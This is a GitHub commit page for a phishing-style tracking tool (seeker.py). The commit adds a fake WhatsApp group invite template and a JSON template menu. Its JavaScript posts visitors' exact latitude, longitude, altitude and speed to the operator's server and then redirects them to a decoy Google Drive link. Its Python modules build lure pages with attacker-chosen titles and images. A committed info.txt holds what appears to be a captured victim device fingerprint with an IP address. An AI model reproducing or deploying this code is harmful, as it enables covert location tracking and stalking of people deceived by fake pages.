Skip to content

Commit

Permalink
v1.2.3 - whatsapp template added
Browse files Browse the repository at this point in the history
Former-commit-id: b343ee3
  • Loading branch information
thewhiteh4t committed Apr 13, 2020
1 parent cc3418d commit f2ad885
Show file tree
Hide file tree
Showing 26 changed files with 19,044 additions and 220 deletions.
41 changes: 25 additions & 16 deletions seeker.py
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@
site = ''
info = ''
result = ''
version = '1.2.2'
version = '1.2.3'

def banner():
print (G +
Expand Down Expand Up @@ -76,24 +76,33 @@ def tunnel_select():
def template_select():
global site, info, result
print(G + '[+]' + C + ' Select a Template : ' + W + '\n')
print(G + '[1]' + C + ' NearYou' + W)
print(G + '[2]' + C + ' Google Drive' + W)

with open('template/templates.json', 'r') as templ:
templ_info = templ.read()

templ_json = json.loads(templ_info)

for item in templ_json['templates']:
name = item['name']
print(G + '[{}]'.format(templ_json['templates'].index(item)) + C + ' {}'.format(name) + W)

selected = int(input(G + '[>] ' + W))

if selected == 1:
site = 'nearyou'
print('\n' + G + '[+]' + C + ' Loading NearYou Template...' + W)
elif selected == 2:
site = 'gdrive'
print('\n' + G + '[+]' + C + ' Loading Google Drive Template...' + W)
redirect = input(G + '[+]' + C + ' Enter GDrive File URL : ' + W)
with open('template/gdrive/js/location_temp.js', 'r') as js:
reader = js.read()
update = reader.replace('REDIRECT_URL', redirect)
with open('template/gdrive/js/location.js', 'w') as js_update:
js_update.write(update)
try:
site = templ_json['templates'][selected]['dir_name']
except IndexError:
print('\n' + R + '[-]' + C + ' Invalid Input!' + W + '\n')
sys.exit()

print('\n' + G + '[+]' + C + ' Loading {} Template...'.format(templ_json['templates'][selected]['name']) + W + '\n')

module = templ_json['templates'][selected]['module']
if module == True:
imp_file = templ_json['templates'][selected]['import_file']
import importlib
importlib.import_module('template.{}'.format(imp_file))
else:
print(R + '[-]' + C + ' Invalid Input, Only Numbers Accepted' + W + '\n')
pass

info = 'template/{}/php/info.txt'.format(site)
result = 'template/{}/php/result.txt'.format(site)
Expand Down
Empty file added template/__init__.py
Empty file.
Binary file added template/__pycache__/__init__.cpython-38.pyc
Binary file not shown.
Binary file added template/__pycache__/mod_gdrive.cpython-38.pyc
Binary file not shown.
Binary file added template/__pycache__/mod_whatsapp.cpython-38.pyc
Binary file not shown.
202 changes: 0 additions & 202 deletions template/gdrive/LICENSE.txt

This file was deleted.

2 changes: 1 addition & 1 deletion template/gdrive/js/location.js
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@ function locate()
type: 'POST',
url: '/php/result.php',
data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
success: function(){window.location='https:https://drive.google.com/open?id=1_hoabZ-IYF2Q31JpuCv5y6C2ev941ERC';},
success: function(){window.location='http:https://example.com';},
mimeType: 'text'
});
};
Expand Down
14 changes: 14 additions & 0 deletions template/mod_gdrive.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
#!/usr/bin/env python3

R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white

redirect = input(G + '[+]' + C + ' Enter GDrive File URL : ' + W)
with open('template/gdrive/js/location_temp.js', 'r') as js:
reader = js.read()
update = reader.replace('REDIRECT_URL', redirect)

with open('template/gdrive/js/location.js', 'w') as js_update:
js_update.write(update)
27 changes: 27 additions & 0 deletions template/mod_whatsapp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
#!/usr/bin/env python3

import os
import shutil

R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white

title = input(G + '[+]' + C + ' Group Title : ' + W)
image = input(G + '[+]' + C + ' Path to Group Img (Best Size : 300x300): ' + W)

img_name = image.split('/')[-1]
try:
shutil.copyfile(image, 'template/whatsapp/images/{}'.format(img_name))
except Exception as e:
print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e))
exit()

with open('template/whatsapp/index_temp.html', 'r') as index_temp:
code = index_temp.read()
code = code.replace('$TITLE$', title)
code = code.replace('$IMAGE$', 'images/{}'.format(img_name))

with open('template/whatsapp/index.html', 'w') as new_index:
new_index.write(code)
1 change: 1 addition & 0 deletions template/nearyou/php/info.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
{"dev":[{"platform":"Win32","browser":"Chrome\/81.0.4044.92","cores":"8","ram":"8","vendor":"Google Inc.","render":"ANGLE (NVIDIA GeForce GTX 1070 Direct3D11 vs_5_0 ps_5_0)","ip":"146.196.34.142","ht":"1080","wd":"1920","os":"Win64"}]}
22 changes: 22 additions & 0 deletions template/templates.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
{
"templates": [
{
"name": "NearYou",
"dir_name": "nearyou",
"module": false,
"import_file": null
},
{
"name": "Google Drive",
"dir_name": "gdrive",
"module": true,
"import_file": "mod_gdrive"
},
{
"name": "WhatsApp",
"dir_name": "whatsapp",
"module": true,
"import_file": "mod_whatsapp"
}
]
}
Loading

0 comments on commit f2ad885

Please sign in to comment.